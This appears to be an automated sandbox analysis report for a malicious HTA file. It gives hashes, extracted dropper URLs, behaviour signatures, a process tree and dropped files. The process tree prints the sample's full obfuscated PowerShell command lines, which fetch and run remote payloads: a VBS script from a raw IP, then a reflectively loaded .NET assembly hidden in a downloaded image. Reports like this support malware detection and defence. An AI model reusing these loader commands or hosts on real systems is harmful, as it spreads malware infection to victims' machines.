Analysis

  • max time kernel
    119s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 08:56

General

  • Target

    fa54825b8b94917037cc1620eb21421f9bd31ac394f396c1fe80546e4ed88dfa.hta

  • Size

    178KB

  • MD5

    01928c833c9940a6896666a9d93b9670

  • SHA1

    abe22dd055a6fa39c615cf72818e474f2525e7ae

  • SHA256

    fa54825b8b94917037cc1620eb21421f9bd31ac394f396c1fe80546e4ed88dfa

  • SHA512

    e34bc23996ab1ec12117e463f8b8ec5b4e880635d435286d3e4d09c8499c044dd2f92d8c2927e1435287691ae14dc1e1f7331c2aeae103ca9ac56022b9d883e0

  • SSDEEP

    48:4vahW5oZz7eWLB2CCz7lRo7dmz7lOwo7dO81bBPW1zKfD299Ddaq6bWyxf9DZRDf:4vCl17nuYMiFeAqfoqyWyflRJm0cfQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fa54825b8b94917037cc1620eb21421f9bd31ac394f396c1fe80546e4ed88dfa.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\SysWOW64\WInDowspoWeRShelL\V1.0\POWeRSHElL.EXe
      "C:\Windows\sYSteM32\WInDowspoWeRShelL\V1.0\POWeRSHElL.EXe" "PoWERsHelL.Exe -EX bYPAsS -noP -W 1 -c DEvIceCrEdenTialdEPLoyment.Exe ; INVoKe-ExPReSSIOn($(InVOkE-exPReSSIon('[sYStEM.Text.ENcODInG]'+[CHAR]58+[CHar]58+'utf8.GETstRIng([sYstEM.CONVeRt]'+[ChAR]58+[chaR]58+'FROMBAsE64sTRING('+[CHaR]34+'JGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtQmVyREVGaW5JVGlvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxtT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkQ2JwY2N4dVFRbSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJek1tLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFppdmRUcFYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZVeUZIc2dOZSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrVU96SGNmbHp5KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGZCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc1BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIU2Jmb1ZwbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkazo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyLjEzL3hhbXBwL3NlL3NlZXRoZWJlc3R0aGluZ3NlbnRpcmV0aW1ld2l0aGdyZWF0dGhpbmdzd2l0aGxvdmVya2lzcy50SUYiLCIkRW5WOkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2VudGlyZXRpbWV3aXRoZ3JlYXR0aGluZ3N3aXRobG92ZXJraXMudmJTIiwwLDApO1NUYVJ0LXNsZUVwKDMpO2lFeCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2VudGlyZXRpbWV3aXRoZ3JlYXR0aGluZ3N3aXRobG92ZXJraXMudmJTIg=='+[cHaR]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPAsS -noP -W 1 -c DEvIceCrEdenTialdEPLoyment.Exe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2692
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\7eotc90q.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:376
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4DA4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4DA3.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:320
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingsentiretimewithgreatthingswithloverkis.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEcDNpbWFnZVVybCA9IEYxbWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MicrJ0FhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgRjFtO0RwM3dlJysnYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7RHAzaW1hZ2VCeXRlcyA9IERwM3dlYkNsaWVudCcrJy5Eb3cnKydubG9hZERhdGEoRHAzaW1hZycrJ2VVcicrJ2wpO0RwM2ltYWdlVGV4JysndCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKERwM2ltYWdlQnl0ZXMpO0RwM3N0YXJ0RmxhZyA9IEYxbTwnKyc8QkFTRTY0X1NUQVJUPj5GMW0nKyc7RHAzZW5kRmxhZyA9IEYxbTw8QkFTRTY0X0VORD4+RjFtO0RwM3N0YXJ0SScrJ25kZXggPSBEcDNpbWFnZVRleHQuSW5kZXhPZihEcDNzdGFydEZsYWcpO0RwM2VuZEluZGUnKyd4ID0gRHAzaW1hZ2VUZXh0LkluZGV4T2YoRHAzZW4nKydkJysnRmxhZyk7RHAzc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIERwM2VuZEluZGV4IC1nJysndCBEcDNzdGFydEluZGV4O0RwM3N0YXJ0SW5kZXggKz0gRHAzc3RhcnQnKydGJysnbGFnLkxlbmd0aDtEcDNiYXNlNjRMZW5ndGggPSBEcDNlbmRJbmRleCAtIERwM3N0YXJ0SW5kZXg7RHAzYmFzJysnZTY0Q29tbWFuZCA9IERwM2ltYWdlVGV4dC5TdWJzdHJpbmcoRHAzc3RhcnRJbmRleCwgRHAzYmFzZTY0TGVuZ3RoKTtEcDNiYXNlNjRSZXZlcicrJ3NlZCA9IC1qb2luIChEcDNiYXNlNjRDb21tYW5kLlRvQ2gnKydhckFyJysncmF5KCkgNTl0IEZvckVhY2gtT2JqZWN0IHsgRHAzXyB9KVstMS4uLScrJyhEcDNiYXNlNjRDb21tYScrJ25kLkxlbmd0aCldO0RwM2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbicrJ2coJysnRHAzYicrJ2FzZTY0UmV2ZXJzZWQpO0RwM2xvYWQnKydlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZScrJ2N0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChEcDNjb21tYW5kQnl0ZXMpO0RwM3ZhaU1ldGhvZCcrJyA9JysnIFtkJysnbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoRjFtVkFJRjFtKTtEcDN2YWlNZXRob2QuSW52bycrJ2tlKERwM251bGwsIEAoRjFtdHh0LkZSRkZSVy8yNTMvMzEuMjIuMy4yOTEvLzpwdHRoRjFtLCBGMW1kZXNhdGl2YWRvRjFtLCBGJysnMW1kZXNhdGl2YWRvRjFtLCBGMW1kZXNhdGl2YWRvRjFtLCBGMW1BZGRJblAnKydyb2Nlc3MzJysnMkYxbSwgRjFtZGVzYXRpdmFkb0YxbSwgRjFtZGVzYXRpdmFkb0YxbSxGMW1kZXNhdGl2YWRvRjFtLEYxbWRlc2F0aXZhZG9GMScrJ20sRjFtJysnZGVzYXRpdmFkb0YxbSxGMW1kZXNhdGl2YWRvRjFtLCcrJ0YxbWRlc2F0aXZhZG9GMW0sRjFtMUYxbSxGMW1kZXNhdGl2YWRvRjFtKSk7JykuUkVwbGFjZSgoW2NoYVJdNzArW2NoYVJdNDkrW2NoYVJdMTA5KSxbc1RSSU5nXVtjaGFSXTM5KS5SRXBsYWNlKChbY2hhUl02OCtbY2hhUl0xMTIrW2NoYVJdNTEpLCckJykuUkVwbGFjZSgoW2NoYVJdNTMrW2NoYVJdNTcrW2NoYVJdMTE2KSxbc1RSSU5nXVtjaGFSXTEyNCl8IC4oKEdldC1WQVJJYWJMRSAnKm1kcionKS5OYW1lWzMsMTEsMl0tSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2644
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Dp3imageUrl = F1mhttps://1017.filemail.com/api/file/get?filekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f F1m;Dp3we'+'bClient = New-Object System.Net.WebClient;Dp3imageBytes = Dp3webClient'+'.Dow'+'nloadData(Dp3imag'+'eUr'+'l);Dp3imageTex'+'t = [System.Text.Encoding]::UTF8.GetString(Dp3imageBytes);Dp3startFlag = F1m<'+'<BASE64_START>>F1m'+';Dp3endFlag = F1m<<BASE64_END>>F1m;Dp3startI'+'ndex = Dp3imageText.IndexOf(Dp3startFlag);Dp3endInde'+'x = Dp3imageText.IndexOf(Dp3en'+'d'+'Flag);Dp3startIndex -'+'ge 0 -and Dp3endIndex -g'+'t Dp3startIndex;Dp3startIndex += Dp3start'+'F'+'lag.Length;Dp3base64Length = Dp3endIndex - Dp3startIndex;Dp3bas'+'e64Command = Dp3imageText.Substring(Dp3startIndex, Dp3base64Length);Dp3base64Rever'+'sed = -join (Dp3base64Command.ToCh'+'arAr'+'ray() 59t ForEach-Object { Dp3_ })[-1..-'+'(Dp3base64Comma'+'nd.Length)];Dp3commandBytes = [System.Convert]::FromBase64Strin'+'g('+'Dp3b'+'ase64Reversed);Dp3load'+'edAssembly = [System.Refle'+'ction.Assembly]'+'::Load(Dp3commandBytes);Dp3vaiMethod'+' ='+' [d'+'nlib.IO.Home].GetMethod(F1mVAIF1m);Dp3vaiMethod.Invo'+'ke(Dp3null, @(F1mtxt.FRFFRW/253/31.22.3.291//:ptthF1m, F1mdesativadoF1m, F'+'1mdesativadoF1m, F1mdesativadoF1m, F1mAddInP'+'rocess3'+'2F1m, F1mdesativadoF1m, F1mdesativadoF1m,F1mdesativadoF1m,F1mdesativadoF1'+'m,F1m'+'desativadoF1m,F1mdesativadoF1m,'+'F1mdesativadoF1m,F1m1F1m,F1mdesativadoF1m));').REplace(([chaR]70+[chaR]49+[chaR]109),[sTRINg][chaR]39).REplace(([chaR]68+[chaR]112+[chaR]51),'$').REplace(([chaR]53+[chaR]57+[chaR]116),[sTRINg][chaR]124)| .((Get-VARIabLE '*mdr*').Name[3,11,2]-JoiN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2788

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\7eotc90q.dll

    Filesize

    3KB

    MD5

    7f8485a6201d87e7cec80366a96d0fe8

    SHA1

    b11926df7bc74db7fbd018807ffe713f9f2d53a2

    SHA256

    71849f5a544fd3745f332b25304d4600d98091f2902dcf20fe21aad0c94310c4

    SHA512

    393a816b1dbb054e708e836136b7f5d82fbdd2ca817e2670c015906c2594604d0e2d0b401d7973d86a97e0217740699405c661a308e0c4993cc8a89ed13f6a3b

  • C:\Users\Admin\AppData\Local\Temp\7eotc90q.pdb

    Filesize

    7KB

    MD5

    40d1dd7045fd1a8b9a73785ac9a773ea

    SHA1

    4c6be7c850216ca07d0bb15098f88bd16f730671

    SHA256

    effc2ad0b574196ceb1d6519381a2a3e4407b27335d43157b920854ac1e7a012

    SHA512

    1faf4e7fd020b242d2d0561f2f9693fd16700d2da775ecf25158c2defb46e736a134d4c82389e9db57d86ea3afa21425dc0c10ac72a99f587860ea1e2b5f19d5

  • C:\Users\Admin\AppData\Local\Temp\RES4DA4.tmp

    Filesize

    1KB

    MD5

    0519100d7af291803ac5f694380a464d

    SHA1

    d1430473e0c3af2fa16b6a3b704be53959509d8f

    SHA256

    abd6a03a51f1fc11497de31e0b0c4af86b7c372266f62a7f6c3d70620e19c7d3

    SHA512

    0502472e1a7c8ac8cda4b06ee84920e6f4b2f20c90957cfbe5317dec17298c95c9291fb6e1b8e97d2566145e224236ac3994cf7bccac2c124f43e11bc81172b1

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    0dc81a2426348a419cc21bcc112221b7

    SHA1

    41594cbf03252f27a9a4f36962a57b3e3df730d7

    SHA256

    d3addc84a7a58113711e49fc70dc66ed96badc5817108c5ef5e694929ec42a5b

    SHA512

    fe2732eef62d7595e8e19530934d6c967537ab8dbac767b3eabd99b9715d44fa80719b50fb5d40e2f9555079f9dc9539a32fa67391172a7fbb2c955189ab760c

  • C:\Users\Admin\AppData\Roaming\seethebestthingsentiretimewithgreatthingswithloverkis.vbS

    Filesize

    138KB

    MD5

    2a43f3918d91622e9ccac7889f3e6dc2

    SHA1

    7d6131261e7f6a54291bd9e02eb7c985e093cfa7

    SHA256

    95f59c4235c1d4516b7d5de5a768f0f00c4a64c73a5be26fb26496ac5f378e9b

    SHA512

    422b39acb1dcacc05938ee122fa614a9a429e28a6a7f7ecf8a7f8416823b0e7ada11c28b7fe52ae1352d85fc99423ffdb16fd85ec2ac27f25a2f3adfed7b638c

  • \??\PIPE\srvsvc

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • \??\c:\Users\Admin\AppData\Local\Temp\7eotc90q.0.cs

    Filesize

    485B

    MD5

    d24098e842acdc16d68eb9fc1eb0d97d

    SHA1

    a5ed59b81d7a78e4f619850c0d05f05984c282a7

    SHA256

    5a2115bb93abacd6e4cf9c0fc15f629c527fc13513305ffae22ba8872db0e309

    SHA512

    9a387056470cd7b1cadc638ca29227303a6c447eb551d219fbf0fb0e4c4265d9b9d40e3830088bb8eae3626ceb827de0ccb827c68b5d6a878ac1d1d17056d9ae

  • \??\c:\Users\Admin\AppData\Local\Temp\7eotc90q.cmdline

    Filesize

    309B

    MD5

    a7fb5a047b810f96c5b21872c815d55d

    SHA1

    64fbd4352416671d96be4a20dc8cac5d5263b7d5

    SHA256

    ffe06e8fb8995f59d00865cd4dec804091f84f90e47052d7e24f1efc0d7a309b

    SHA512

    b5afb37ff7b4b8eed2cb22c65fa08f93b8f02c650995752d27409113c1b79328f78434c6903faa432126b7e4ef22ee61b5dc4838ea5aa6ac23da4b68a3db6375

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC4DA3.tmp

    Filesize

    652B

    MD5

    9f3617e9998f77832e778c4dd26bac87

    SHA1

    69d224301a88b191a98d9187e96378e56857a039

    SHA256

    545783dd3921b573b5572512853b3b1feb0915a5fd5aff8863c5092cead55dad

    SHA512

    55dcf5111df4967b3d85463c64651e68b2b9cb827cf37dd9bdaeaaa1fcba521ebfb1d2b4635840eeb4299abb24a5304b44c5e44c372449c626aa3be3dce4012f